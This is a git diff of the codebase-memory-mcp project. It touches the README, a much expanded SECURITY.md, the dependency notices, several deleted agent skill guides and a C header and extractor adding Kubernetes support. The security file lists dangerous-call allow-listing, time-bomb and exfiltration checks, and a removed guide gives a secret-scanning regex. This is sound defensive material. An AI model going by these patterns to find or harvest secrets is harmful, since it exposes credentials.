||||
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`, `Resource`
|
||||
|
||||
### Edge Types
|
||||
|
||||
@@ -296,6 +307,24 @@ codebase-memory-mcp config set auto_index_limit 50000 # max files for auto-in
|
||||
codebase-memory-mcp config reset auto_index # reset to default
|
||||
```
|
||||
|
||||
## Custom File Extensions
|
||||
|
||||
Map additional file extensions to supported languages via JSON config files. Useful for framework-specific extensions like `.blade.php` (Laravel) or `.mjs` (ES modules).
|
||||
|
||||
**Per-project** (in your repo root):
|
||||
```json
|
||||
// .codebase-memory.json
|
||||
{"extra_extensions": {".blade.php": "php", ".mjs": "javascript"}}
|
||||
```
|
||||
|
||||
**Global** (applies to all projects):
|
||||
```json
|
||||
// ~/.config/codebase-memory-mcp/config.json (or $XDG_CONFIG_HOME/...)
|
||||
{"extra_extensions": {".twig": "html", ".phtml": "php"}}
|
||||
```
|
||||
|
||||
Project config overrides global for conflicting extensions. Unknown language values are silently skipped. Missing config files are ignored.
|
||||
|
||||
## Persistence
|
||||
|
||||
SQLite databases stored at `~/.cache/codebase-memory-mcp/`. Persists across restarts (WAL mode, ACID-safe). To reset: `rm -rf ~/.cache/codebase-memory-mcp/`.
|
||||
@@ -313,7 +342,7 @@ SQLite databases stored at `~/.cache/codebase-memory-mcp/`. Persists across rest
|
||||
|
||||
## Language Support
|
||||
|
||||
64 languages. Benchmarked against 64 real open-source repositories (78 to 49K nodes):
|
||||
66 languages. Benchmarked against 64 real open-source repositories (78 to 49K nodes):
|
||||
|
||||
| Tier | Score | Languages |
|
||||
|------|-------|-----------|
|
||||
@@ -338,7 +367,7 @@ src/
|
||||
traces/ Runtime trace ingestion
|
||||
ui/ Embedded HTTP server + 3D graph visualization
|
||||
foundation/ Platform abstractions (threads, filesystem, logging, memory)
|
||||
internal/cbm/ Vendored tree-sitter grammars (64 languages) + AST extraction engine
|
||||
internal/cbm/ Vendored tree-sitter grammars (66 languages) + AST extraction engine
|
||||
```
|
||||
|
||||
## License
|
||||
|
||||
+36
-12
@@ -12,29 +12,50 @@ We will acknowledge your report within 48 hours and provide a fix timeline withi
|
||||
|
||||
## Security Measures
|
||||
|
||||
This project implements multiple layers of security verification:
|
||||
This project implements multiple layers of security verification. Every release binary must pass all checks before users can download it (draft → verify → publish flow).
|
||||
|
||||
### Build-Time (CI)
|
||||
### Build-Time (CI — every commit)
|
||||
|
||||
- **8-layer security audit suite** runs on every build (static analysis, binary string audit, network egress monitoring, install path validation, MCP robustness testing, UI security audit, vendored dependency integrity, smoke test hardening)
|
||||
- **All dangerous function calls** (`system()`, `popen()`, `fork()`, `connect()`) require a reviewed entry in `scripts/security-allowlist.txt`
|
||||
- **Vendored dependency checksums** verified on every build (72 files, SHA-256)
|
||||
- **8-layer security audit suite** runs on every build:
|
||||
- Layer 1: Static allow-list for dangerous calls (`system`/`popen`/`fork`) + hardcoded URLs
|
||||
- Layer 2: Binary string audit (URLs, credentials, dangerous commands)
|
||||
- Layer 3: Network egress monitoring via strace (Linux)
|
||||
- Layer 4: Install output path + content validation
|
||||
- Layer 5: Smoke test hardening (clean shutdown, residual processes, version integrity)
|
||||
- Layer 6: Graph UI audit (external domains, CORS, server binding, eval/iframe)
|
||||
- Layer 7: MCP robustness (23 adversarial JSON-RPC payloads)
|
||||
- Layer 8: Vendored dependency integrity (SHA-256 checksums, dangerous call scan)
|
||||
- **All dangerous function calls** require a reviewed entry in `scripts/security-allowlist.txt`
|
||||
- **Time-bomb pattern detection** — scans for `time()`/`sleep()` near dangerous calls (could indicate delayed activation)
|
||||
- **MCP tool handler file read audit** — tracks file read count in `mcp.c` against an expected maximum (detects added file reads that could exfiltrate data through tool responses)
|
||||
- **CodeQL SAST** — static application security testing on every push (taint analysis, CWE detection, data flow tracking). Any open alert blocks the release.
|
||||
- **Fuzz testing** — random/mutated inputs to MCP server and Cypher parser (60 seconds per build). Catches crashes, segfaults, and memory errors that structured tests miss.
|
||||
- **Native antivirus scanning** on every platform (any detection fails the build):
|
||||
- **Windows**: Windows Defender with ML heuristics — the same engine end users run
|
||||
- **Linux**: ClamAV with daily signature updates
|
||||
- **macOS**: ClamAV with daily signature updates
|
||||
|
||||
### Release-Time
|
||||
### Release-Time (draft → verify → publish)
|
||||
|
||||
- **VirusTotal scanning** — all release binaries scanned by 70+ antivirus engines, reports linked in release notes
|
||||
- **SLSA build provenance** — cryptographic attestation proving each binary was built by GitHub Actions from this repository
|
||||
- **Sigstore cosign signing** — keyless signatures verifiable by anyone
|
||||
- **SBOM** — Software Bill of Materials listing all vendored dependencies
|
||||
- **SHA-256 checksums** — published with every release
|
||||
Releases are created as **drafts** (invisible to users) and only published after all verification passes:
|
||||
|
||||
1. **SLSA build provenance** — cryptographic attestation proving each binary was built by GitHub Actions from this repository
|
||||
2. **Sigstore cosign signing** — keyless digital signatures verifiable by anyone
|
||||
3. **SBOM** — Software Bill of Materials (CycloneDX) listing all vendored dependencies
|
||||
4. **SHA-256 checksums** — published with every release
|
||||
5. **VirusTotal scanning** — all binaries scanned by 70+ antivirus engines (zero-tolerance: any detection blocks the release)
|
||||
6. **OpenSSF Scorecard** — repository security health score
|
||||
|
||||
If ANY antivirus engine flags ANY binary, the release stays as a draft and is not published until the issue is investigated and resolved.
|
||||
|
||||
### Code-Level Defenses
|
||||
|
||||
- **Shell injection prevention** — `cbm_validate_shell_arg()` rejects metacharacters before all `popen()`/`system()` calls
|
||||
- **SQLite authorizer** — blocks `ATTACH`/`DETACH` at engine level
|
||||
- **SQLite authorizer** — blocks `ATTACH`/`DETACH` at engine level (prevents file creation via SQL injection)
|
||||
- **CORS locked to localhost** — graph UI only accessible from localhost origins
|
||||
- **Path containment** — `realpath()` check prevents reading files outside project root
|
||||
- **Process-kill restriction** — only server-spawned PIDs can be terminated
|
||||
- **SHA-256 checksum verification** — update command verifies downloaded binary before installing
|
||||
|
||||
### Verification
|
||||
|
||||
@@ -49,6 +70,9 @@ cosign verify-blob --bundle <file>.bundle <file>
|
||||
|
||||
# SHA-256 checksum
|
||||
sha256sum -c checksums.txt
|
||||
|
||||
# VirusTotal (upload binary or check the report links in the release notes)
|
||||
# https://www.virustotal.com/
|
||||
```
|
||||
|
||||
## Supported Versions
|
||||
|
||||
+12
-10
@@ -15,7 +15,7 @@ The tree-sitter C runtime is vendored in `internal/cbm/vendored/ts_runtime/`.
|
||||
|
||||
Pre-generated parser sources are vendored in `internal/cbm/vendored/grammars/<lang>/`.
|
||||
Each grammar is the work of its upstream authors; we vendor only the generated
|
||||
`parser.c` (and `scanner.c` where applicable) for CGo compilation.
|
||||
`parser.c` (and `scanner.c` where applicable) for static compilation.
|
||||
|
||||
| Grammar | Upstream Repository | License | Copyright |
|
||||
|---------|-------------------|---------|-----------|
|
||||
@@ -84,16 +84,18 @@ Each grammar is the work of its upstream authors; we vendor only the generated
|
||||
| yaml | [tree-sitter/tree-sitter-yaml](https://github.com/tree-sitter/tree-sitter-yaml) | MIT | (c) Max Brunsfeld |
|
||||
| zig | [tree-sitter/tree-sitter-zig](https://github.com/tree-sitter/tree-sitter-zig) | MIT | (c) Max Brunsfeld |
|
||||
|
||||
## Go Module Dependencies
|
||||
## Vendored C Libraries
|
||||
|
||||
| Module | License | Project |
|
||||
|--------|---------|---------|
|
||||
| github.com/mattn/go-sqlite3 | MIT | [mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) |
|
||||
| github.com/modelcontextprotocol/go-sdk | MIT | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) |
|
||||
| github.com/zeebo/xxh3 | BSD-2-Clause | [zeebo/xxh3](https://github.com/zeebo/xxh3) |
|
||||
| golang.org/x/sync | BSD-3-Clause | [golang.org/x/sync](https://pkg.go.dev/golang.org/x/sync) |
|
||||
| golang.org/x/sys | BSD-3-Clause | [golang.org/x/sys](https://pkg.go.dev/golang.org/x/sys) |
|
||||
| gopkg.in/yaml.v3 | MIT + Apache-2.0 | [go-yaml/yaml](https://github.com/go-yaml/yaml) |
|
||||
All C dependencies are vendored in `vendored/` — zero system library dependencies required.
|
||||
|
||||
| Library | License | Project |
|
||||
|---------|---------|---------|
|
||||
| SQLite 3 | Public Domain | [sqlite.org](https://www.sqlite.org/) |
|
||||
| mimalloc | MIT | [microsoft/mimalloc](https://github.com/microsoft/mimalloc) |
|
||||
| Mongoose | Dual GPLv2 / Commercial | [cesanta/mongoose](https://github.com/cesanta/mongoose) |
|
||||
| yyjson | MIT | [ibireme/yyjson](https://github.com/ibireme/yyjson) |
|
||||
| xxHash | BSD-2-Clause | [Cyan4973/xxHash](https://github.com/Cyan4973/xxHash) |
|
||||
| TRE | BSD-2-Clause | [laurikari/tre](https://github.com/laurikari/tre) |
|
||||
|
||||
## Notes
|
||||
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Codebase Knowledge Graph
|
||||
|
||||
This project has a code knowledge graph available via MCP tools. Use it for
|
||||
structural questions instead of grep — one graph query returns what would take
|
||||
dozens of file-by-file searches.
|
||||
|
||||
## Finding Code
|
||||
|
||||
- "Who calls X?" → use `trace_call_path` with `direction=inbound`
|
||||
- "What does X call?" → use `trace_call_path` with `direction=outbound`
|
||||
- "Find functions matching pattern" → use `search_graph` with `name_pattern`
|
||||
- "Find all routes" → use `search_graph` with `label=Route`
|
||||
- "Show codebase structure" → use `get_graph_schema` for overview
|
||||
|
||||
## Tracing Dependencies
|
||||
|
||||
- Always discover exact names first: `search_graph(name_pattern=".*Partial.*")`
|
||||
- Then trace: `trace_call_path(function_name="ExactName", direction="both")`
|
||||
- Cross-service HTTP calls: `query_graph("MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path")`
|
||||
- Read source: `get_code_snippet(qualified_name="project.path.FunctionName")`
|
||||
|
||||
## Quality Analysis
|
||||
|
||||
- Dead code: `search_graph` with `max_degree=0`, `exclude_entry_points=true`, `relationship=CALLS`, `direction=inbound`
|
||||
- High fan-out: `search_graph` with `min_degree=10`, `relationship=CALLS`, `direction=outbound`
|
||||
- Change coupling: `query_graph("MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN ...")`
|
||||
|
||||
## Important
|
||||
|
||||
- Always check `list_projects` first — run `index_repository` if the project is missing
|
||||
- Use `search_graph` to discover exact names before `trace_call_path` (it requires exact match)
|
||||
- The graph doesn't index text content — use grep for string literals, error messages, config values
|
||||
- Results default to 10 per page — check `has_more` and use `offset` to paginate
|
||||
- Use `project` parameter when multiple repos are indexed
|
||||
@@ -1,90 +0,0 @@
|
||||
---
|
||||
name: codebase-memory-exploring
|
||||
description: >
|
||||
This skill should be used when the user asks to "explore the codebase",
|
||||
"understand the architecture", "what functions exist", "show me the structure",
|
||||
"how is the code organized", "find functions matching", "search for classes",
|
||||
"list all routes", "show API endpoints", or needs codebase orientation.
|
||||
---
|
||||
|
||||
# Codebase Exploration via Knowledge Graph
|
||||
|
||||
Use graph tools for structural code questions. They return precise results in ~500 tokens vs ~80K for grep-based exploration.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Check if project is indexed
|
||||
|
||||
```
|
||||
list_projects
|
||||
```
|
||||
|
||||
If the project is missing from the list:
|
||||
|
||||
```
|
||||
index_repository(repo_path="/path/to/project")
|
||||
```
|
||||
|
||||
If already indexed, skip — auto-sync keeps the graph fresh.
|
||||
|
||||
### Step 2: Get a structural overview
|
||||
|
||||
```
|
||||
get_graph_schema
|
||||
```
|
||||
|
||||
This returns node label counts (functions, classes, routes, etc.), edge type counts, and relationship patterns. Use it to understand what's in the graph before querying.
|
||||
|
||||
### Step 3: Find specific code elements
|
||||
|
||||
Find functions by name pattern:
|
||||
```
|
||||
search_graph(label="Function", name_pattern=".*Handler.*")
|
||||
```
|
||||
|
||||
Find classes:
|
||||
```
|
||||
search_graph(label="Class", name_pattern=".*Service.*")
|
||||
```
|
||||
|
||||
Find all REST routes:
|
||||
```
|
||||
search_graph(label="Route")
|
||||
```
|
||||
|
||||
Find modules/packages:
|
||||
```
|
||||
search_graph(label="Module")
|
||||
```
|
||||
|
||||
Scope to a specific directory:
|
||||
```
|
||||
search_graph(label="Function", qn_pattern=".*services\\.order\\..*")
|
||||
```
|
||||
|
||||
### Step 4: Read source code
|
||||
|
||||
After finding a function via search, read its source:
|
||||
```
|
||||
get_code_snippet(qualified_name="project.path.to.FunctionName")
|
||||
```
|
||||
|
||||
### Step 5: Understand structure
|
||||
|
||||
For file/directory exploration within the indexed project:
|
||||
```
|
||||
list_directory(path="src/services")
|
||||
```
|
||||
|
||||
## When to Use Grep Instead
|
||||
|
||||
- Searching for **string literals** or error messages → `search_code` or Grep
|
||||
- Finding a file by exact name → Glob
|
||||
- The graph doesn't index text content, only structural elements
|
||||
|
||||
## Key Tips
|
||||
|
||||
- Results default to 10 per page. Check `has_more` and use `offset` to paginate.
|
||||
- Use `project` parameter when multiple repos are indexed.
|
||||
- Route nodes have a `properties.handler` field with the actual handler function name.
|
||||
- `exclude_labels` removes noise (e.g., `exclude_labels=["Route"]` when searching by name pattern).
|
||||
@@ -1,101 +0,0 @@
|
||||
---
|
||||
name: codebase-memory-quality
|
||||
description: >
|
||||
This skill should be used when the user asks about "dead code",
|
||||
"find dead code", "detect dead code", "show dead code", "dead code analysis",
|
||||
"unused functions", "find unused functions", "unreachable code",
|
||||
"identify high fan-out functions", "find complex functions",
|
||||
"code quality audit", "find functions nobody calls",
|
||||
"reduce codebase size", "refactor candidates", "cleanup candidates",
|
||||
or needs code quality analysis.
|
||||
---
|
||||
|
||||
# Code Quality Analysis via Knowledge Graph
|
||||
|
||||
Use graph degree filtering to find dead code, high-complexity functions, and refactor candidates — all in single tool calls.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Dead Code Detection
|
||||
|
||||
Find functions with zero inbound CALLS edges, excluding entry points:
|
||||
|
||||
```
|
||||
search_graph(
|
||||
label="Function",
|
||||
relationship="CALLS",
|
||||
direction="inbound",
|
||||
max_degree=0,
|
||||
exclude_entry_points=true
|
||||
)
|
||||
```
|
||||
|
||||
`exclude_entry_points=true` removes route handlers, `main()`, and framework-registered functions that have zero callers by design.
|
||||
|
||||
### Verify Dead Code Candidates
|
||||
|
||||
Before deleting, verify each candidate truly has no callers:
|
||||
|
||||
```
|
||||
trace_call_path(function_name="SuspectFunction", direction="inbound", depth=1)
|
||||
```
|
||||
|
||||
Also check for read references (callbacks, stored in variables):
|
||||
|
||||
```
|
||||
query_graph(query="MATCH (a)-[r:USAGE]->(b) WHERE b.name = 'SuspectFunction' RETURN a.name, a.file_path LIMIT 10")
|
||||
```
|
||||
|
||||
### High Fan-Out Functions (calling 10+ others)
|
||||
|
||||
These are often doing too much and are refactor candidates:
|
||||
|
||||
```
|
||||
search_graph(
|
||||
label="Function",
|
||||
relationship="CALLS",
|
||||
direction="outbound",
|
||||
min_degree=10
|
||||
)
|
||||
```
|
||||
|
||||
### High Fan-In Functions (called by 10+ others)
|
||||
|
||||
These are critical functions — changes have wide impact:
|
||||
|
||||
```
|
||||
search_graph(
|
||||
label="Function",
|
||||
relationship="CALLS",
|
||||
direction="inbound",
|
||||
min_degree=10
|
||||
)
|
||||
```
|
||||
|
||||
### Files That Change Together (Hidden Coupling)
|
||||
|
||||
Find files with high git change coupling:
|
||||
|
||||
```
|
||||
query_graph(query="MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN a.name, b.name, r.coupling_score, r.co_change_count ORDER BY r.coupling_score DESC LIMIT 20")
|
||||
```
|
||||
|
||||
High coupling between unrelated files suggests hidden dependencies.
|
||||
|
||||
### Unused Imports
|
||||
|
||||
```
|
||||
search_graph(
|
||||
relationship="IMPORTS",
|
||||
direction="outbound",
|
||||
max_degree=0,
|
||||
label="Module"
|
||||
)
|
||||
```
|
||||
|
||||
## Key Tips
|
||||
|
||||
- `search_graph` with degree filters has no row cap (unlike `query_graph` which caps at 200).
|
||||
- Use `file_pattern` to scope analysis to specific directories: `file_pattern="**/services/**"`.
|
||||
- Dead code detection works best after a full index — run `index_repository` if the project was recently set up.
|
||||
- Paginate results with `limit` and `offset` — check `has_more` in the response.
|
||||
@@ -1,154 +0,0 @@
|
||||
---
|
||||
name: codebase-memory-reference
|
||||
description: >
|
||||
This skill should be used when the user asks about "codebase-memory-mcp tools",
|
||||
"graph query syntax", "Cypher query examples", "edge types",
|
||||
"how to use search_graph", "query_graph examples", or needs reference
|
||||
documentation for the codebase knowledge graph tools.
|
||||
---
|
||||
|
||||
# Codebase Memory MCP — Tool Reference
|
||||
|
||||
## Tools (14 total)
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `index_repository` | Parse and ingest repo into graph (only once — auto-sync keeps it fresh) |
|
||||
| `index_status` | Check indexing status (ready/indexing/not found) |
|
||||
| `list_projects` | List all indexed projects with timestamps and counts |
|
||||
| `delete_project` | Remove a project from the graph |
|
||||
| `search_graph` | Structured search with filters (name, label, degree, file pattern) |
|
||||
| `search_code` | Grep-like text search within indexed project files |
|
||||
| `trace_call_path` | BFS call chain traversal (exact name match required). Supports `risk_labels=true` for impact classification. |
|
||||
| `detect_changes` | Map git diff to affected symbols + blast radius with risk scoring |
|
||||
| `query_graph` | Cypher-like graph queries (200-row cap) |
|
||||
| `get_graph_schema` | Node/edge counts, relationship patterns |
|
||||
| `get_code_snippet` | Read source code by qualified name |
|
||||
| `read_file` | Read any file from indexed project |
|
||||
| `list_directory` | List files/directories with glob filter |
|
||||
| `ingest_traces` | Ingest OpenTelemetry traces to validate HTTP_CALLS edges |
|
||||
|
||||
## Edge Types
|
||||
|
||||
| Type | Meaning |
|
||||
|------|---------|
|
||||
| `CALLS` | Direct function call within same service |
|
||||
| `HTTP_CALLS` | Synchronous cross-service HTTP request |
|
||||
| `ASYNC_CALLS` | Async dispatch (Cloud Tasks, Pub/Sub, SQS, Kafka) |
|
||||
| `IMPORTS` | Module/package import |
|
||||
| `DEFINES` / `DEFINES_METHOD` | Module/class defines a function/method |
|
||||
| `HANDLES` | Route node handled by a function |
|
||||
| `IMPLEMENTS` | Type implements an interface |
|
||||
| `OVERRIDE` | Struct method overrides an interface method |
|
||||
| `USAGE` | Read reference (callback, variable assignment) |
|
||||
| `FILE_CHANGES_WITH` | Git history change coupling |
|
||||
| `CONTAINS_FILE` / `CONTAINS_FOLDER` / `CONTAINS_PACKAGE` | Structural containment |
|
||||
|
||||
## Node Labels
|
||||
|
||||
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`
|
||||
|
||||
## Qualified Name Format
|
||||
|
||||
`<project>.<path_parts>.<name>` — file path with `/` replaced by `.`, extension removed.
|
||||
|
||||
Examples:
|
||||
- `myproject.cmd.server.main.HandleRequest` (Go)
|
||||
- `myproject.services.orders.ProcessOrder` (Python)
|
||||
- `myproject.src.components.App.App` (TypeScript)
|
||||
|
||||
Use `search_graph` to discover qualified names, then pass them to `get_code_snippet`.
|
||||
|
||||
## Cypher Subset (for query_graph)
|
||||
|
||||
**Supported:**
|
||||
- `MATCH` with node labels and relationship types
|
||||
- Variable-length paths: `-[:CALLS*1..3]->`
|
||||
- `WHERE` with `=`, `<>`, `>`, `<`, `>=`, `<=`, `=~` (regex), `CONTAINS`, `STARTS WITH`
|
||||
- `WHERE` with `AND`, `OR`, `NOT`
|
||||
- `RETURN` with property access, `COUNT(x)`, `DISTINCT`
|
||||
- `ORDER BY` with `ASC`/`DESC`
|
||||
- `LIMIT`
|
||||
- Edge property access: `r.confidence`, `r.url_path`, `r.coupling_score`
|
||||
|
||||
**Not supported:** `WITH`, `COLLECT`, `SUM`, `CREATE/DELETE/SET`, `OPTIONAL MATCH`, `UNION`
|
||||
|
||||
## Common Cypher Patterns
|
||||
|
||||
```
|
||||
# Cross-service HTTP calls with confidence
|
||||
MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path, r.confidence LIMIT 20
|
||||
|
||||
# Filter by URL path
|
||||
MATCH (a)-[r:HTTP_CALLS]->(b) WHERE r.url_path CONTAINS '/orders' RETURN a.name, b.name
|
||||
|
||||
# Interface implementations
|
||||
MATCH (s)-[r:OVERRIDE]->(i) RETURN s.name, i.name LIMIT 20
|
||||
|
||||
# Change coupling
|
||||
MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN a.name, b.name, r.coupling_score
|
||||
|
||||
# Functions calling a specific function
|
||||
MATCH (f:Function)-[:CALLS]->(g:Function) WHERE g.name = 'ProcessOrder' RETURN f.name LIMIT 20
|
||||
```
|
||||
|
||||
## Regex-Powered Search (No Full-Text Index Needed)
|
||||
|
||||
`search_graph` and `search_code` support full Go regex, making full-text search indexes unnecessary. Regex patterns provide precise, composable queries that cover all common discovery scenarios:
|
||||
|
||||
### search_graph — name_pattern / qn_pattern
|
||||
|
||||
| Pattern | Matches | Use case |
|
||||
|---------|---------|----------|
|
||||
| `.*Handler$` | names ending in Handler | Find all handlers |
|
||||
| `(?i)auth` | case-insensitive "auth" | Find auth-related symbols |
|
||||
| `get\|fetch\|load` | any of three words | Find data-loading functions |
|
||||
| `^on[A-Z]` | names starting with on + uppercase | Find event handlers |
|
||||
| `.*Service.*Impl` | Service...Impl pattern | Find service implementations |
|
||||
| `^(Get\|Set\|Delete)` | CRUD prefixes | Find CRUD operations |
|
||||
| `.*_test$` | names ending in _test | Find test functions |
|
||||
| `.*\\.controllers\\..*` | qn_pattern for directory scoping | Scope to controllers dir |
|
||||
|
||||
### search_code — regex=true
|
||||
|
||||
| Pattern | Matches | Use case |
|
||||
|---------|---------|----------|
|
||||
| `TODO\|FIXME\|HACK` | multi-pattern scan | Find tech debt markers |
|
||||
| `(?i)password\|secret\|token` | case-insensitive secrets | Security scan |
|
||||
| `func\\s+Test` | Go test functions | Find test entry points |
|
||||
| `api[._/]v[0-9]` | API version references | Find versioned API usage |
|
||||
| `import.*from ['"]@` | scoped npm imports | Find package imports |
|
||||
|
||||
### Combining Filters for Surgical Queries
|
||||
|
||||
```
|
||||
# Find unused auth handlers
|
||||
search_graph(name_pattern="(?i).*auth.*handler.*", max_degree=0, exclude_entry_points=true)
|
||||
|
||||
# Find high fan-out functions in the services directory
|
||||
search_graph(qn_pattern=".*\\.services\\..*", min_degree=10, relationship="CALLS", direction="outbound")
|
||||
|
||||
# Find all route handlers matching a URL pattern
|
||||
search_code(pattern="(?i)(POST|PUT).*\\/api\\/v[0-9]\\/orders", regex=true)
|
||||
```
|
||||
|
||||
## Critical Pitfalls
|
||||
|
||||
1. **`search_graph(relationship="HTTP_CALLS")` does NOT return edges** — it filters nodes by degree. Use `query_graph` with Cypher to see actual edges.
|
||||
2. **`query_graph` has a 200-row cap** before aggregation — COUNT queries silently undercount on large codebases. Use `search_graph` with `min_degree`/`max_degree` for counting.
|
||||
3. **`trace_call_path` needs exact names** — use `search_graph(name_pattern=".*Partial.*")` first to discover names.
|
||||
4. **`direction="outbound"` misses cross-service callers** — use `direction="both"` for full context.
|
||||
|
||||
## Decision Matrix
|
||||
|
||||
| Question | Use |
|
||||
|----------|-----|
|
||||
| Who calls X? | `trace_call_path(direction="inbound")` |
|
||||
| What does X call? | `trace_call_path(direction="outbound")` |
|
||||
| Full call context | `trace_call_path(direction="both")` |
|
||||
| Find by name pattern | `search_graph(name_pattern="...")` |
|
||||
| Dead code | `search_graph(max_degree=0, exclude_entry_points=true)` |
|
||||
| Cross-service edges | `query_graph` with Cypher |
|
||||
| Impact of local changes | `detect_changes()` |
|
||||
| Risk-classified trace | `trace_call_path(risk_labels=true)` |
|
||||
| Text search | `search_code` or Grep |
|
||||
@@ -1,125 +0,0 @@
|
||||
---
|
||||
name: codebase-memory-tracing
|
||||
description: >
|
||||
This skill should be used when the user asks "who calls this function",
|
||||
"what does X call", "trace the call chain", "find callers of",
|
||||
"show dependencies", "what depends on", "trace call path",
|
||||
"find all references to", "impact analysis", or needs to understand
|
||||
function call relationships and dependency chains.
|
||||
---
|
||||
|
||||
# Call Chain Tracing via Knowledge Graph
|
||||
|
||||
Use graph tools to trace function call relationships. One `trace_call_path` call replaces dozens of grep searches across files.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Discover the exact function name
|
||||
|
||||
`trace_call_path` requires an **exact** name match. If you don't know the exact name, discover it first with regex:
|
||||
|
||||
```
|
||||
search_graph(name_pattern=".*Order.*", label="Function")
|
||||
```
|
||||
|
||||
Use full regex for precise discovery — no full-text search needed:
|
||||
- `(?i)order` — case-insensitive
|
||||
- `^(Get|Set|Delete)Order` — CRUD variants
|
||||
- `.*Order.*Handler$` — handlers only
|
||||
- `qn_pattern=".*services\\.order\\..*"` — scope to order service directory
|
||||
|
||||
This returns matching functions with their qualified names and file locations.
|
||||
|
||||
### Step 2: Trace callers (who calls this function?)
|
||||
|
||||
```
|
||||
trace_call_path(function_name="ProcessOrder", direction="inbound", depth=3)
|
||||
```
|
||||
|
||||
Returns a hop-by-hop list of all functions that call `ProcessOrder`, up to 3 levels deep.
|
||||
|
||||
### Step 3: Trace callees (what does this function call?)
|
||||
|
||||
```
|
||||
trace_call_path(function_name="ProcessOrder", direction="outbound", depth=3)
|
||||
```
|
||||
|
||||
### Step 4: Full context (both callers and callees)
|
||||
|
||||
```
|
||||
trace_call_path(function_name="ProcessOrder", direction="both", depth=3)
|
||||
```
|
||||
|
||||
**Always use `direction="both"` for complete context.** Cross-service HTTP_CALLS edges from other services appear as inbound edges — `direction="outbound"` alone misses them.
|
||||
|
||||
### Step 5: Read suspicious code
|
||||
|
||||
After finding interesting callers/callees, read their source:
|
||||
|
||||
```
|
||||
get_code_snippet(qualified_name="project.path.module.FunctionName")
|
||||
```
|
||||
|
||||
## Cross-Service HTTP Calls
|
||||
|
||||
To see all HTTP links between services with URLs and confidence scores:
|
||||
|
||||
```
|
||||
query_graph(query="MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path, r.confidence ORDER BY r.confidence DESC LIMIT 20")
|
||||
```
|
||||
|
||||
Filter by URL path:
|
||||
```
|
||||
query_graph(query="MATCH (a)-[r:HTTP_CALLS]->(b) WHERE r.url_path CONTAINS '/orders' RETURN a.name, b.name, r.url_path")
|
||||
```
|
||||
|
||||
## Async Dispatch (Cloud Tasks, Pub/Sub, etc.)
|
||||
|
||||
Find dispatch functions by name pattern, then trace:
|
||||
```
|
||||
search_graph(name_pattern=".*CreateTask.*|.*send_to_pubsub.*")
|
||||
trace_call_path(function_name="CreateMultidataTask", direction="both")
|
||||
```
|
||||
|
||||
## Interface Implementations
|
||||
|
||||
Find which structs implement an interface method:
|
||||
```
|
||||
query_graph(query="MATCH (s)-[r:OVERRIDE]->(i) WHERE i.name = 'Read' RETURN s.name, i.name LIMIT 20")
|
||||
```
|
||||
|
||||
## Read References (callbacks, variable assignments)
|
||||
|
||||
```
|
||||
query_graph(query="MATCH (a)-[r:USAGE]->(b) WHERE b.name = 'ProcessOrder' RETURN a.name, a.file_path LIMIT 20")
|
||||
```
|
||||
|
||||
## Risk-Classified Impact Analysis
|
||||
|
||||
Add `risk_labels=true` to get risk classification on each node:
|
||||
|
||||
```
|
||||
trace_call_path(function_name="ProcessOrder", direction="inbound", depth=3, risk_labels=true)
|
||||
```
|
||||
|
||||
Returns nodes with `risk` (CRITICAL/HIGH/MEDIUM/LOW) based on hop depth, plus an `impact_summary` with counts. Risk mapping: hop 1=CRITICAL, 2=HIGH, 3=MEDIUM, 4+=LOW.
|
||||
|
||||
## Detect Changes (Git Diff Impact)
|
||||
|
||||
Map uncommitted changes to affected symbols and their blast radius:
|
||||
|
||||
```
|
||||
detect_changes()
|
||||
detect_changes(scope="staged")
|
||||
detect_changes(scope="branch", base_branch="main")
|
||||
```
|
||||
|
||||
Returns changed files, changed symbols, and impacted callers with risk classification. Scopes: `unstaged`, `staged`, `all` (default), `branch`.
|
||||
|
||||
## Key Tips
|
||||
|
||||
- Start with `depth=1` for quick answers, increase only if needed (max 5).
|
||||
- Edge types in trace results: `CALLS` (direct), `HTTP_CALLS` (cross-service), `ASYNC_CALLS` (async dispatch), `USAGE` (read reference), `OVERRIDE` (interface implementation).
|
||||
- `search_graph(relationship="HTTP_CALLS")` filters nodes by degree — it does NOT return edges. Use `query_graph` with Cypher to see actual edges with properties.
|
||||
- Results are capped at 200 nodes per trace.
|
||||
- `detect_changes` requires git in PATH.
|
||||
@@ -316,6 +316,11 @@ CBMFileResult *cbm_extract_file(const char *source, int source_len, CBMLanguage
|
||||
cbm_extract_imports(&ctx);
|
||||
cbm_extract_unified(&ctx);
|
||||
|
||||
// K8s / Kustomize semantic pass (additional structured extraction for YAML-based infra files).
|
||||
if (ctx.language == CBM_LANG_KUSTOMIZE || ctx.language == CBM_LANG_K8S) {
|
||||
cbm_extract_k8s(&ctx);
|
||||
}
|
||||
|
||||
// LSP type-aware call resolution
|
||||
uint64_t lsp_start = now_ns();
|
||||
if (language == CBM_LANG_GO) {
|
||||
|
||||
@@ -75,6 +75,8 @@ typedef enum {
|
||||
CBM_LANG_FORM,
|
||||
CBM_LANG_MAGMA,
|
||||
CBM_LANG_WOLFRAM,
|
||||
CBM_LANG_KUSTOMIZE, // kustomization.yaml — Kubernetes overlay tool
|
||||
CBM_LANG_K8S, // Generic Kubernetes manifest (apiVersion: detected)
|
||||
CBM_LANG_COUNT
|
||||
} CBMLanguage;
|
||||
|
||||
@@ -361,4 +363,7 @@ void cbm_extract_type_assigns(CBMExtractCtx *ctx);
|
||||
// Single-pass unified extraction (replaces the 7 calls above except defs+imports).
|
||||
